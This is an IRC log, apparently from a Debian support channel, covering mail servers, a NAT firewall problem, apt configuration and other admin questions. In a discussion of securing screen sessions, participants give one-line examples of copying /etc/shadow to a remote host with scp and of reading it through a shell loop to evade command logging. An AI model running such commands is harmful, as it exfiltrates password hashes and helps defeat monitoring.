| 12:54.00 | Neaai | awk: I think you know a lot more about it than I do. I use exim myself. |
| 12:54.10 | awk | Neaai: true to debian :D |
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| 12:54.56 | Wesley_ | What dvd do I download to get a complete debian system with gcc, make etc? |
| 12:55.09 | valdyn | Wesley_: only the first one |
| 12:55.13 | Shifty_ | Neaai, restarted firewall... no change :( |
| 12:55.16 | Wesley_ | Ok, thanks :) |
| 12:55.38 | jelly | awk: the problem with qmail is that you have to dig into coding for almost any extra feature you want |
| 12:55.44 | Neaai | awk: hehe. Actually yes. Long ago I wanted to change away from sendmail and the thought was simple: 'I'll see what debian uses. if it uses it, int can't be bad'. hehe |
| 12:56.08 | jelly | Neaai: then you started using smail? :-> |
| 12:56.16 | Neaai | Shifty: most probably it's something messed up with the what's "in" and what's "out" as the firewall sees it. |
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| 12:56.29 | Neaai | jelly: in a way you can say that, lol |
| 12:56.34 | jelly | Debian has had a weird choice of default MTA throughout its history. |
| 12:56.49 | awk | jelly: true but the nice part is, its made up of differet programs, so at least its not bloated like the sendmail code... and it doesn't rely on root to run it as like that of exim |
| 12:57.10 | Neaai | jelly: but yes, I read about most all what debian had/mentioned at the time |
| 12:57.16 | petemc | awk: i think you'll find any mta needs to be root at some point |
| 12:57.16 | awk | jelly: was debian allwasy exim? |
| 12:57.38 | jelly | awk: definitely not |
| 12:57.52 | Neaai | Shifty_: Is your firewall iptables based ? |
| 12:58.06 | Shifty_ | no, zywall 35 |
| 12:58.38 | awk | petemc: true, but qmail only uses qmail-lspawn as root and only uses it for local mail deliverys |
| 12:58.49 | awk | so its not bloated code as root |
| 12:58.55 | petemc | awk: exim drops its privileges too |
| 12:59.23 | Neaai | Shifty_: oh it's a hardware firewall. And you say that all you did is reinstall the server and it won't work anymore? Strange. Has anything else been changed ? |
| 12:59.29 | jelly | petemc: qmail never has any. |
| 12:59.39 | Shifty_ | nope |
| 12:59.44 | Shifty_ | ips are the same |
| 12:59.52 | Shifty_ | card is the same |
| 12:59.54 | awk | maybe one day when i get time aagain ill change, its wierd how when u a kid and get into something, and grow up its very hard to change what you know and used to :) |
| 13:00.07 | petemc | for all the complaining abou the monolithic binary, there are rarely any problems with exim.. |
| 13:00.19 | jelly | awk: but to answer your poll, yes, people do use qmail. |
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| 13:00.27 | Shifty_ | and not anymore sles 9 ;) |
| 13:00.33 | Neaai | Shifty: the firewall works in bridge mode? as in it stands between your server and the world in a transparent way ? |
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| 13:01.18 | Shifty_ | router mode |
| 13:02.10 | ignotus | hello, what is the name of the console software, that can print BIG letters consisting ASCII characters? |
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| 13:02.13 | Neaai | Shifty_: odd. |
| 13:02.17 | petemc | ignotus: figlet |
| 13:02.18 | SystemFAILURE | h e l l o |
| 13:02.19 | Shifty_ | yeah |
| 13:02.24 | ignotus | petemc: ahhhhhhhhhh thats it, thanks |
| 13:02.36 | jelly | awk: we have ~4M messeages/day routed through qmail. It's very good at handling incoming mail. It's somewhat less good at not emitting backscatter. ;-) |
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| 13:03.27 | awk | jelly: have you modified it to suite your needs? |
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| 13:03.54 | jelly | awk: rather heavily. among other things, it's patched to use a list of valid mail recipients and reject the rest at smtp time |
| 13:04.09 | jelly | awk: this gets rid of most backscatter (but not all) |
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| 13:04.36 | Neaai | Shifty_: I wouldn't know what exactly to do in this case, but on the zywall 35, try to see what goes in and what goes out and what gets blocked. See if you can find any logging facilities and use those. Check what happens with traffic you know should be ok (www/tcp, or ping/icmp, etc) and see how the firewall treats that sort of traffic. |
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| 13:05.21 | Shifty_ | well there are no such logs ... but maybe i can activate it... |
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| 13:06.25 | Neaai | Shifty_: you'd have to 'play' a bit with the firewall as I have no clue about it |
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| 13:07.31 | Neaai | Shifty_: but if all you did is your server reinstall, which is separate from your hardware firewall, it's odd anything should behave differently now. |
| 13:07.48 | Shifty_ | thats my point ;) |
| 13:08.05 | Shifty_ | but if i deactivate it on the zywall ... everything works fine |
| 13:08.06 | Neaai | Shifty_: does the firewall do NAT ? |
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| 13:08.12 | Shifty_ | yes |
| 13:10.29 | Neaai | Shifty_: you said the world can ping/reach your server, while your server can't reach the world ... ? |
| 13:10.48 | Shifty_ | yes |
| 13:10.54 | Neaai | jeez. lol. |
| 13:11.05 | awk | jelly: impressive |
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| 13:12.04 | petemc | jelly: why use it if you know it causes backscatter? |
| 13:12.04 | Neaai | Shifty_: let me google a bit around if I can find any clues. I have no ideas though what can it be. |
| 13:12.51 | Shifty_ | i restart the server... maybe that helps |
| 13:12.55 | jelly | petemc: it mostly works |
| 13:13.30 | petemc | jelly: even a small percentage of that volume of mail backscattered could land you on some rbls, no? |
| 13:13.41 | jelly | petemc: it does |
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| 13:14.08 | Neaai | Shifty_: does the server return anything when you try: iptables -L ? |
| 13:14.11 | jelly | petemc: we route DSNs over a separate outgoing IP. ;-) |
| 13:14.16 | petemc | nice :) |
| 13:14.36 | jelly | petemc: it's almost constantly on backscatterers.org BL |
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| 13:14.48 | petemc | jelly: no plans to fix? |
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| 13:15.19 | jelly | petemc: plans, sure. Time to implement, test and deploy? |
| 13:15.26 | Shifty_ | Neaai, nope |
| 13:15.46 | petemc | edits jellys urgent action items list |
| 13:15.52 | petemc | 1) replace qmail with exim |
| 13:15.52 | Neaai | Shifty_: iptables -L -t nat ? |
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| 13:16.01 | jelly | petemc: bwahaha |
| 13:16.26 | Shifty_ | nothing |
| 13:16.39 | jelly | petemc: it'll be postfix if anything |
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| 13:17.23 | Bravewolf | Why is the line of this graph (on the last days) completely flat (http://bts.turmzimmer.net/graph-small.png)? It seems strange this lack of fluctuation, especially near the release... |
| 13:17.35 | petemc | jelly: for the job of filtering incoming mail, nothing can compete with exim for flexibility |
| 13:17.49 | petemc | not that postfix is bad or anything... |
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| 13:18.47 | Neaai | Shifty_: if you have a laptop handy, you could configure it to have the server's ip/mask/gw and connect it to the firewall the same way you do with the server, and run the tests, to isolate whether what's happening is because of the new server, or something odd with the firewall. |
| 13:19.21 | Shifty_ | ok, im using a laptop right now... |
| 13:19.26 | Shifty_ | ill try it |
| 13:19.28 | Shifty_ | brb |
| 13:19.35 | Neaai | Shifty_: ok |
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| 13:20.07 | Neaai | Shifty_: just confgure the ip and then unplug the server and plug the laptop. and run he ping tests. |
| 13:20.19 | Neaai | s/he/the/ |
| 13:21.49 | jelly | petemc: the commercial av vendor we use only supports sendmail or postfix; I'd have replaced qmail with postfix before 2009 for incoming machines if other things hadn't taken precedence |
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| 13:22.56 | petemc | gotcha |
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| 13:24.56 | freddy__ | hi - I try to install sarge on etch with this command 'cdebootstrap sarge http://ftp.debian.org/debian'. But I get the following error: Couldn't download Release.gpg ?? |
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| 13:27.53 | jpinx | nothing in dmesg and nothing in syslog :( |
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| 13:29.53 | shifty | Neaai, with the laptop i cant acces anything... maybe i configure it the wrong way :/ |
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| 13:31.42 | Neaai | shifty: well, basically, you put the ip, netmask, gateway and namservers exactly as you have them in the server. Then you unplug the server from the network and plug the laptop in its place. Then the same ping tests and connectivity tests you did from the server, you do from the laptop. |
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| 13:32.23 | shifty | Neaai, i did that ... it even wasnt possible to ping it |
| 13:32.53 | Neaai | shifty: that can be because of any firewall you might have IF you have windows in the laptop. |
| 13:33.27 | shifty | its ubuntu |
| 13:33.52 | Neaai | shifty: it's getting even weirder. |
| 13:34.11 | Neaai | brb a sec |
| 13:34.44 | shifty | yes, i love it ... temporary i deactivate the firewall and install the things without it ... |
| 13:34.52 | shifty | after that i can search for a solution... |
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| 13:42.00 | Neaai | back |
| 13:43.19 | Neaai | shifty: you could walk again the logics of the firewall configuration and see if that's correct. It should be but just to make sure in this case. |
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| 13:47.57 | shifty | Neaai, i did ... but basicly its all correct |
| 13:48.39 | Neaai | shifty: can the server ping the firewall ? You said it does NAT so it must have an ip |
| 13:49.09 | shifty | no it cant |
| 13:49.28 | Neaai | shifty: hmmm. It should. it's the internal ip you're trying ? |
| 13:49.33 | shifty | yes |
| 13:50.31 | Neaai | shifty: from somewehere else on the out side of the firewall, can you ping the firewall? |
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| 13:51.03 | Neaai | shifty: this time the outside ip of the firewall |
| 13:51.46 | shifty | yes |
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| 13:52.42 | Neaai | shifty: what's common is that firewalls don't allow pinging their outside ip and allow that on inside ip |
| 13:52.54 | enouf | jelly: commercial av? are we talking windows machines on the network? |
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| 13:53.33 | Neaai | shifty: does the firewall provide ping utility ? |
| 13:53.44 | Neaai | shifty: if yes try to ping your server |
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| 13:57.03 | xand | abortman! |
| 13:58.28 | shifty | Neaai, i search for it |
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| 13:59.12 | shifty | but i think it doesnt matter anymore.... i deactivated the firewall for the installation ... after that i dont need to access the internet from the server ... just from the internet the server ... |
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| 14:00.19 | rascal | hai help needed |
| 14:00.47 | rascal | i need to pack wine compatible exe into debian install packages |
| 14:00.56 | rascal | is any method available |
| 14:00.58 | enouf | xand: run away! |
| 14:00.58 | abrotman | hi xand |
| 14:00.59 | Neaai | shifty: the firewall is used for that server only or for other hosts too ? |
| 14:01.00 | rascal | pls help |
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| 14:01.01 | enouf | :-p |
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| 14:02.26 | rascal | hai help needed |
| 14:02.27 | rascal | <PROTECTED> |
| 14:02.27 | rascal | <PROTECTED> |
| 14:02.37 | enouf | [biabia]: i take it that's a laptop? with the ATI RS480 Video? Are you using Etch? or Lenny? |
| 14:03.01 | Neaai | shifty: for that server you can use iptables based firewalls to limit what comes in. it can be reached from the internet directly and you never know what might target you at anytime. |
| 14:03.04 | shifty | Neaai, for some pc in a other subnet |
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| 14:03.29 | Neaai | shifty: the server has a public ip address ? |
| 14:03.29 | shifty | yeah, the input firewall ist working as before ... only 2 ports are open |
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| 14:03.55 | abrotman | rascal: stop repeating |
| 14:04.02 | rascal | k |
| 14:04.09 | rascal | wats the solution |
| 14:04.17 | jelly | enouf: no, we're talking "decent av/antispam for mail" |
| 14:04.43 | enouf | [biabia]: if using Etch, /msg dpkg drxx and choose 'radeon' or 'ati' (see each one's man page) .. or do you mean resolution in Console instead of in X? |
| 14:04.47 | shifty | Neaai, yes |
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| 14:05.28 | enouf | jelly: ok ... um, but i thought only windows machines needed AntiVirus :-p |
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| 14:05.54 | jelly | enouf: we have customers running Windows. Weird, I know. |
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| 14:06.05 | enouf | jelly: i see .. propogation stopper too ... |
| 14:06.10 | Piper69 | !python |
| 14:06.11 | dpkg | hmm... python is a very nice scripting language, easy to learn and still quite powerful and elegant if you know how to use it, or see http://python.org/topics/learn/, or #python |
| 14:06.13 | enouf | er propa... |
| 14:06.18 | abrotman | Piper69: msg the bot |
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| 14:06.32 | abrotman | wonders if any distros have a /usr/local/Program Files/ |
| 14:06.32 | enouf | jelly: poor bastards :-P |
| 14:06.57 | enouf | C:\Your Documents and Settings are now Mine\ |
| 14:08.05 | liable | by definition, a distro would not do that.. |
| 14:09.16 | enouf | [biabia]: if you mean the resolution in console mode, add a vga=791 option (for 1024x768x16bit) to your kernel lines in /boot/grub/menu.lst (also "/msg dpkg fbcon resolution") |
| 14:09.45 | enouf | s/mode// |
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| 14:09.48 | jpinx | enouf: fwiw I see Mac's are now recommending anti-virus |
| 14:09.52 | jelly | enouf: amavisd-new et al. also have hooks for all kinds of antivirus, be they commercial or clamav |
| 14:10.08 | abrotman | liable: you mean debian would not, other distros do all kinds of goofy stuff :) |
| 14:10.11 | enouf | hrm... |
| 14:10.20 | enouf | !mutant |
| 14:11.11 | enouf | jelly: i always thought of you as some sun/solaris guru (or peasant even) or something - how wrong am i? ;-) |
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| 14:12.38 | liable | abrotman: not really that silly though? shirly. |
| 14:12.49 | abrotman | don't call me shirly |
| 14:12.59 | [biabia] | no its a desktop |
| 14:13.02 | enouf | (well - the unlimited range of 'grunts' category (peasant to guru) is wide enough to not be wrong at all) :-P |
| 14:13.13 | abrotman | [biabia]: i asked you last night what your video card was |
| 14:13.24 | enouf | "a hospital? what is it?" |
| 14:13.26 | [biabia] | i wasnt at that pc |
| 14:13.33 | abrotman | are you now? |
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| 14:14.23 | [biabia] | yeah i have it on now |
| 14:14.29 | abrotman | lspci | grep VGA |
| 14:14.29 | enouf | [biabia]: er - please answer .. ok ... run 'update-pciids' as root user, and post the entire line of "lspci -nn | grep VGA" |
| 14:14.56 | [biabia] | lspci | grep VGA which shows VGA compatible controller ATI RS480 [its a dual boot machine and on fedora it uses 1024x768] |
| 14:15.01 | gutterpunk | Hi guys. I'd like to sync from one server to another but exclude all .php files. How can this be done? Will rsync --exclude=*.php work? |
| 14:15.03 | enouf | abrotman: seems it's an ati rs480, but that's all they posted - not ... see? :-P |
| 14:15.26 | gutterpunk | It should work recursively in any case |
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| 14:15.35 | abrotman | enouf: what? |
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| 14:15.50 | enouf | abrotman: it's better left not explaining - too much work ;-) |
| 14:16.01 | abrotman | enouf: it shouldn't need explaining .. stop being a goof |
| 14:16.17 | abrotman | gutterpunk: i believe rsync has a dry-run/simulate that would show you what it would do |
| 14:16.27 | [biabia] | and enough not using etch or lenny, and not talking about the console resolution. talking about the X resolution |
| 14:16.39 | enouf | abrotman: then read .. and leave me be .. you weenie |
| 14:16.42 | abrotman | gutterpunk: but that seems reasonable |
| 14:16.47 | gutterpunk | abrotman, thanks for the tip |
| 14:16.54 | abrotman | can *anyone* make sense of half of what enouf says? |
| 14:17.00 | enouf | [biabia]: should i keep guessing which release? |
| 14:17.11 | [biabia] | hang on |
| 14:17.28 | abrotman | gutterpunk: though .. the = seems bad .. possibly more like --exclude "*.php" |
| 14:17.36 | enouf | abrotman: it's ok - i'll have dpkg !comfort you ;-) |
| 14:17.47 | abrotman | at least the bot makes sense |
| 14:17.59 | enouf | thank goodness something around here does |
| 14:18.11 | Piper69 | is there is a pkg for python |
| 14:18.24 | abrotman | Piper69: any version of python ? |
| 14:18.28 | enouf | Piper69: why wouldn't there be? how about more than one? |
| 14:18.42 | jelly | judd: versions python |
| 14:18.43 | judd | jelly: python -- etch: 2.4.4-2 lenny: 2.5.2-3 sid: 2.5.2-3 |
| 14:18.55 | gutterpunk | abrotman, thanks. I was just worried this would only exclude the php files in the top dir only |
| 14:19.21 | jelly | abrotman: which half? |
| 14:19.27 | abrotman | gutterpunk: AIUI, the * should include anything before the .php .. so /foo.php or /path/to/foo.php should be equally excluded |
| 14:19.28 | [biabia] | enouf, ok my bad. 2.6.18.dfsg.1-22etch3 |
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| 14:19.36 | Piper69 | so just apt-get install python--etch |
| 14:19.40 | enouf | [biabia]: ok |
| 14:19.45 | abrotman | Piper69: aptitude install python |
| 14:19.48 | enouf | !tell [biabia] about drxx |
| 14:20.02 | jelly | Piper69: what are you going to do with python? |
| 14:20.10 | Piper69 | abrotman: cool, thanks |
| 14:20.14 | abrotman | does the radeon driver in etch support that card ? |
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| 14:20.25 | DASPRiD | hi, is there a php 5.2.1 backport for debian etch? |
| 14:20.36 | abrotman | judd: versions php5 |
| 14:20.37 | judd | abrotman: php5 -- etch: 5.2.0-8+etch13 etch-security: 5.2.0-8+etch13 lenny: 5.2.6-5 sid: 5.2.6-5 sid: 5.2.6.dfsg.1-0.1 |
| 14:20.37 | Piper69 | jelly i want to learn the basics , and someone recommend Python for me |
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| 14:20.45 | enouf | abrotman: i have no idea how new/old that card is even ... |
| 14:20.53 | [biabia] | thanks |
| 14:20.53 | abrotman | boggles |
| 14:21.03 | abrotman | DASPRiD: doesn't appear to be an official one |
| 14:21.03 | tuxcrafter | does somebody have an example configuration that show how to disabele the APT::Install-Recommends and pdiffs/ |
| 14:21.07 | tuxcrafter | ? |
| 14:21.09 | jelly | Piper69: oh. You might also want python-idle, too. |
| 14:21.11 | abrotman | !tell tuxcrafter about pdiff |
| 14:21.29 | Piper69 | jelly what is that |
| 14:21.34 | abrotman | tuxcrafter: and i believe the example in /usr/share/doc/aptitude/ tells you how to turn off recommends |
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| 14:22.15 | enouf | tuxcrafter: ~$ cat /etc/apt/apt.conf.d/98-recommends |
| 14:22.15 | enouf | APT::Install-Recommends="false"; |
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| 14:22.42 | jelly | Piper69: it's a simple IDE that comes with python by default (unless the distro splits it into million packages like debian does) |
| 14:23.08 | jelly | Piper69: package is called "idle", sorry. "python-doc" is likely to be useful, too |
| 14:23.42 | tuxcrafter | enouf: abrotman thanks! |
| 14:24.09 | Piper69 | IDE! |
| 14:24.19 | jelly | SCSI! |
| 14:24.25 | SystemFAILURE | SATA ! |
| 14:24.27 | Piper69 | whats that got to do with software |
| 14:24.34 | jelly | !ide |
| 14:24.34 | dpkg | i guess ide is (Integrated Device Electronics) IDE is the standard hard drive interface for PCs. You can connect a maximum of two hard drives to an IDE connection or channel. IDE hard drives are cheaper than SCSI drives, but sucks the chrome off a CPU, so to speak. check out http://linux-ide.org. Integrated Development Environment |
| 14:24.53 | Piper69 | i know Integrated Device Electronics |
| 14:24.56 | jelly | Piper69: Integrated Development Environment |
| 14:25.00 | enouf | abrotman: does Etch even have the /apt.conf.d/ dir and friends? |
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| 14:25.12 | abrotman | not by default, but i think it understands it |
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| 14:25.19 | Piper69 | aha |
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| 14:26.03 | Piper69 | jelly so like abrotman said aptitude install python ...will that get it all , or i have to go get these |
| 14:26.26 | enouf | tuxcrafter: if using etch (and what i posted doesn't work) - you might need to add the line i posted to your /etc/apt/apt.conf file (on a new line naturally) as you did with the pdiff factoid info - |
| 14:26.36 | enouf | abrotman: ok - thanks |
| 14:26.44 | jelly | Piper69: you don't _have to_, but they might be useful or interesting to look at |
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| 14:27.19 | Piper69 | jelly cool , yeah i want to start simple |
| 14:27.21 | abrotman | enouf: nope, looks like not, the apt.conf man page doesn't mention /etc/apt/apt.conf.d/ at all |
| 14:27.28 | tuxcrafter | enouf: got it working with: echo 'APT::Install-Recommends "false";' | tee --append /etc/apt/apt.conf |
| 14:27.30 | abrotman | so i wouldn't bank on it |
| 14:27.38 | tuxcrafter | see the removal of the = character |
| 14:27.40 | enouf | heh |
| 14:27.40 | abrotman | tuxcrafter: do you know about >> ? |
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| 14:27.50 | tuxcrafter | abrotman: yes i do |
| 14:27.54 | tuxcrafter | i like tee |
| 14:27.57 | tuxcrafter | sudo tee |
| 14:28.02 | tuxcrafter | solves easy permisoon issues |
| 14:28.27 | abrotman | like sudo "command | foo" ? |
| 14:28.52 | tuxcrafter | jups |
| 14:29.02 | enouf | tuxcrafter: that = character should be used if given .. but works without it as well - iinm |
| 14:29.59 | tuxcrafter | enouf: it did not work with |
| 14:30.05 | tuxcrafter | it did work without it |
| 14:30.17 | enouf | tee just helps you spit out (show) what you do/did into your tty0 (or xterm) .. and there's many other uses - such as when using mencoder ;-) |
| 14:31.06 | enouf | tuxcrafter: works here - but it might be because i'm in a different file - and not on Etch - thought i recalled reading about it though |
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| 14:32.16 | tuxcrafter | i am in sid btw |
| 14:32.35 | abrotman | as long as it works .. doesn't matter |
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| 14:33.18 | kc | hi, does anyone know of a secure screen program that allows you to create secure sessions on the local machine? |
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| 14:34.10 | tetonca | You could ssh from each screen session on your personal machine to the machine you want to talk to. |
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| 14:35.02 | tetonca | <PROTECTED> |
| 14:35.03 | kc | tetonca, that really doesn't solve the problem that if anyone gets access to my personal debian box then they get access to all my screen sessions |
| 14:35.14 | mrglinux | I have debian etch (on my server) but I can not find java package .with source address can I add in source list ? |
| 14:35.20 | petemc | you can add passwords to screen sessions |
| 14:35.21 | alexbodn | tetonca: thanks ;) |
| 14:35.25 | tetonca | ;) |
| 14:35.28 | tetonca | np |
| 14:35.34 | tuxcrafter | is there some offical way to refresh the users home with the /etc/skel/ files? |
| 14:35.44 | kc | I am looking for a program that mimics screen in it's abilities but allows for the sessions to be setup and be protected by encryption |
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| 14:36.17 | kc | petemc, how secure is it to add passwords to screen sessions? |
| 14:36.19 | abrotman | kc: encypted against what? other local system users ? |
| 14:36.20 | jelly | abrotman: sudo sh -c 'command | foo' |
| 14:36.27 | tetonca | tuxcrafter: adduser or useradd does that. |
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| 14:36.29 | kc | abrotman, yes |
| 14:36.31 | abrotman | jelly: close enough! |
| 14:36.34 | jelly | abrotman: or >> or whatever |
| 14:36.41 | abrotman | jelly: no kidding |
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| 14:36.45 | tuxcrafter | tetonca: but what if the user already excists? |
| 14:36.58 | abrotman | kc: but via system permissions, they shuldn't have access anyways |
| 14:37.17 | kc | abrotman, not unless they are root then they can just su as the user who owns the screen session and screen -x into it |
| 14:37.23 | niklaswe | after i have apt-get install drbd0.7-module-source i cant load the drbd module.. |
| 14:37.28 | tetonca | tuxcrafter: easiest way is to either copy /etc/skel/.[a-z]* to their directory, or create a new user and copy those and change the ownerships. |
| 14:37.29 | niklaswe | it cant find the module |
| 14:37.31 | niklaswe | any ide- |
| 14:37.36 | abrotman | kc: i suppose, but if your admin is evil, fire him |
| 14:37.55 | abrotman | !tell niklaswe about m-a |
| 14:38.06 | tuxcrafter | tetonca: and the hard way :-) |
| 14:38.21 | kc | abrotman, I mean in case the box gets hacked or a weak account is setup and exploited or someone does not upgrade the kernel or sshd on that box then I don't want the person who gets access to it to own all the screen sessions :) |
| 14:38.31 | niklaswe | abrotman: ^^ will try that :) |
| 14:38.39 | tetonca | Well my point was you could reverse-engineer adduser or useradd (one is a script, one is a binary) |
| 14:38.53 | abrotman | if your box is hacked, you've got other problems (nevermind that the encryption key would be on the local system) |
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| 14:39.34 | tetonca | Maybe the source package for /etc/skel says how to populate user directories with the contents there. |
| 14:39.42 | kc | abrotman, so what you are saying is that you don't know of a way to secure the screen sessions |
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| 14:40.04 | tetonca | screen works with sockets. |
| 14:40.06 | abrotman | didn't petemc say a password ? |
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| 14:40.15 | tetonca | iirc |
| 14:40.17 | stew | kc: you should work under the assumption that root can always know exactly what you are doing |
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| 14:40.44 | tetonca | root does not know what passwords are encrypted in /etc/shadow |
| 14:40.55 | Aggro | stew: Unless you are the root and you have no idea what you are doing ;) |
| 14:40.59 | abrotman | but root can read the file and spend weeks breaking them |
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| 14:41.03 | tetonca | root only has access to the cyphertext, not the plaintext. |
| 14:41.14 | kc | stew, I think selinux might help. However I don't think that is a good principle to work under besides I am the root on the box as well and the box acts like a proxy in DMZ. |
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| 14:42.02 | tetonca | You have to weigh the cost vs benefit in securing any system. |
| 14:42.09 | kc | abrotman, by the time he finds out the passwords he will be discovered and the access will be closed to him. |
| 14:42.30 | kc | tetonca, can you elaborate on that? |
| 14:42.31 | stew | how would he be discovered? |
| 14:42.48 | tetonca | kc, yes. There's a guide called 'Securing Debian' or somesuch that goes into it more. |
| 14:42.59 | abrotman | kc: you're joking right? |
| 14:43.12 | kc | stew, the machine is very closely watched, however in case something slips the first day I don't want havoc :) |
| 14:43.13 | tetonca | If you spend $500 on a safe, you can expect to protect only about $5000 in assets stored in the safe. |
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| 14:43.19 | enouf | tuxcrafter: holy crap - i think you're correct about that = sign in the file as syntax ... :-( Note; as APT::Install-Recommends "false"; i only get [23 upgraded, 229 newly installed, 0 to remove and 938 not upgraded.] as opposed to [32 upgraded, 443 newly installed, 1 to remove and 929 not upgraded]. with actually having the '=' sign in there O_O |
| 14:43.33 | abrotman | kc: scp /etc/shadow foo@remotebox:evilshadowresearch |
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| 14:43.37 | tetonca | If you want to secure more than $5000 in the safe, you have to increase the cost of the safe to do it. |
| 14:43.53 | tetonca | That's cost vs benefit. |
| 14:43.55 | enouf | tuxcrafter: that command was ~$ sudo apt-get -s install gnome :-D |
| 14:43.56 | kc | abrotman, yea that's right any n00b will do that :) and get auto caught by a honeypot |
| 14:44.04 | abrotman | he already has root .. noob ? |
| 14:44.07 | stew | kc: maybe THAT machine is closely watched, the shadow can be moved to another machine for brute forcing |
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| 14:44.23 | kc | abrotman, I mean the network from that machine and too that machine is closely watched |
| 14:44.39 | kc | if someone scp's something to a server I don't know about then they get flagged |
| 14:44.39 | abrotman | kc: does the machine do email? to a smart host? |
| 14:44.46 | kc | abrotman, no |
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| 14:45.00 | stew | kc: how do you stop someone from doing "cat /etc/shadow" |
| 14:45.15 | kc | stew, that gets flagged as well |
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| 14:45.23 | Aggro | kc: What if it is transfered via http? Insine jpg image file? Would you notice that too? |
| 14:45.26 | stew | kc: you flag someone runnong "cat"? how? |
| 14:45.27 | kc | stew, I cannot stop someone from doing anything but they will get flagged |
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| 14:46.06 | kc | stew, I flag someone who does cat in specific directories/files and Aggro lets say http access is disabled for this proxy. |
| 14:46.10 | karmatronic | hi guy |
| 14:46.20 | Nibbler` | hello i'm looking for a way to know the transfer speed when moving files in the terminal, is it possible ? |
| 14:46.22 | stew | kc: how do you flag such things? |
| 14:46.43 | stew | kc: how would you know if someone runs "while read a ; do echo a ; done < /etc/shadow" |
| 14:47.18 | kc | stew, there are tons of ways ( anywhere from using wrappers on specific bin files to having an ssh session monitor that parses commands ) |
| 14:47.38 | stew | kc: and you use both of these? |
| 14:47.44 | themill | none of which are effectice |
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| 14:47.46 | kc | stew, what does it matter? |
| 14:47.48 | enouf | abrotman: see my last message about that nasty '=' sign, and my abhorrent borkage of it's usage - it shouldn't be used - so my bad (just a fwiw) |
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| 14:48.01 | abrotman | enouf: yep .. saw it! |
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| 14:48.05 | enouf | ok |
| 14:48.21 | stew | kc: becuase i'd be interested in seeing how they work |
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| 14:48.33 | \amethyst | kc: you might try running each of the sessions in a separate virtual machine, perhaps |
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| 14:49.00 | \amethyst | and preventing all external access to the hypervisor |
| 14:49.01 | stew | kc: and if you have such sophisticated mechanisms in place, I'd guess we could help you figure out how to use them to prevent what you originally came here to try to prevent |
| 14:49.02 | kc | \amethyst, how does that work? |
| 14:49.04 | Crypticfortune | allright, so I'm trying to set up a new lenny box which has a bunch of drives attached to it externally via an SATA port multiplier. trouble is when it boots up the drives apparently get recognized in somewhat random order, so my /etc/fstab entries fail to mount (in particular, /boot). isn't udev persistent-storage.rules supposed to take care of this stuff? what do i have to tweak to at least get the 1 internal drive to always be say /dev/s |
| 14:49.29 | cahoot | use uuid? |
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| 14:49.40 | kc | \amethyst, but would that prevent local access as well? |
| 14:50.05 | \amethyst | kc: what do you mean by local access? |
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| 14:50.40 | tetonca | In case he has a split personality like Henry and Edward, he is Henry and wants to keep Edward out. |
| 14:50.50 | tetonca | (local access) |
| 14:50.56 | kc | \amethyst, if someone gets root and thereby gets access to the other system accounts. Would they be able to access and log into that virtual machine ? |
| 14:50.59 | stew | kc: can you give me an example of an ssh session monitor that parses commands? |
| 14:51.05 | fluxy | hello, how can i find and mount my 2 ntfs partitions? |
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| 14:51.10 | Crypticfortune | cahoot: explain further? how do i get from uuid to a device name to put in fstab? |
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| 14:51.23 | cahoot | blkid |
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| 14:51.34 | \amethyst | kc: each virtual machine is a separete OS, with its own set of accounts, filesystem, and memory space |
| 14:51.37 | enouf | beauty - or ls -l /dev/disk/* |
| 14:51.38 | Nibbler` | anyone know how to revert a paktage form experimental to stable including all deps ? |
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| 14:52.09 | \amethyst | kc: if someone got access to the hypervisor (the OS the virtual machines are running under) they could theoretically gain access to the virtual machine |
| 14:52.22 | cahoot | Crypticfortune: use f ex blkid to find out each partitions uuid and use that in fstab |
| 14:52.23 | \amethyst | kc: so you don't allow any kind of remote access to the hypervisor at all |
| 14:52.24 | enouf | Crypticfortune: using LABEL= is another option (just a fyi) |
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| 14:52.47 | kc | \amethyst, thanks thats a neat idea. |
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| 14:53.00 | [biabia] | enouf, thanks a zillion tons! it worked on second try. had to change 1 setting i had guessed it |
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| 14:53.15 | ge | Hello! Quick question: What is the current version number of Gnu Hurd? |
| 14:53.17 | Crypticfortune | cahoot and enouf: oh awesome. I didn't know that worked. thanks! |
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| 14:53.23 | cahoot | Crypticfortune: like UUID=7ee49b5c-9739-4d5e-9d5e-47de33e228d8 / ext3 etcetera |
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| 14:53.50 | enouf | [biabia]: can you tell me which one? the kernel framebuffer? :-P but good for you! ;-) |
| 14:54.10 | [biabia] | yes i think that was it. first time i answerd yes |
| 14:54.11 | kc | stew, http://www.kdvelectronics.eu/ssh-logging/ssh-logging.html |
| 14:54.22 | enouf | [biabia]: gotcha - enjoy ;-) |
| 14:54.23 | \amethyst | kc: if you're worried about physical access, you also need to encrypt your filesystems at the very least, and probably disable USB, keyboard, etc |
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| 14:54.48 | abrotman | gets root on kc's machine and deletes the logs |
| 14:54.54 | tetonca | Your housecat may be a soviet agent, too. |
| 14:54.56 | [biabia] | enouf is there a list somewhere of all the dpkg-reconfigure things |
| 14:54.57 | enouf | [biabia]: i used to always mention that aspect (and/or it was part of the factoid at one time, IIRC) |
| 14:55.08 | varlon | hi, at last week I have a troubles with fonts (I thinking it Helvetica) in some applications (Skype, qtoctave, etc...) And troubles only with latin simbols. (Debian Lenny) I think it after some update. Any one have similar problem> |
| 14:55.09 | enouf | [biabia]: in man xorg.conf |
| 14:55.09 | varlon | ? |
| 14:55.10 | kc | \amethyst, in this case actually I am not worried about physical access, just since this is a proxy and doesn't hold any info and is used to connect to other more important machines I would like for it to be secure. |
| 14:55.17 | stew | kc: that doesn't parse commands |
| 14:55.18 | [biabia] | ok |
| 14:55.20 | enouf | [biabia]: oh wait - sorry - in configure-debian |
| 14:55.21 | stew | kc: is this what you are using? |
| 14:55.37 | enouf | [biabia]: i thought you meant for reconfiguring X only at first |
| 14:55.43 | kc | stew, no that is not what I am using. |
| 14:55.48 | enouf | judd versions configure-debian |
| 14:55.49 | judd | enouf: configure-debian -- etch: 1.0.2 lenny: 1.0.2-0.1 sid: 1.0.2-0.1 |
| 14:55.56 | enouf | [biabia]: see that pkg ;-) |
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| 14:56.08 | \amethyst | kc: what kind of proxy? |
| 14:56.16 | stew | kc: what are you using that would alert you if someone ran "cat /etc/shadow"? |
| 14:56.20 | kc | stew, parsing commands and parsing ssh session outputs are different things and I happen to do both. |
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| 14:56.30 | \amethyst | ugh |
| 14:56.35 | \amethyst | I have no tolerance for bullshitters |
| 14:56.38 | \amethyst | later |
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| 14:56.41 | abrotman | heh |
| 14:57.06 | tetonca | hehe. |
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| 14:58.14 | abrotman | !beer \amethyst |
| 14:58.14 | dpkg | pulls out an excellent Guinness for \amethyst |
| 14:58.18 | tetonca | ;) |
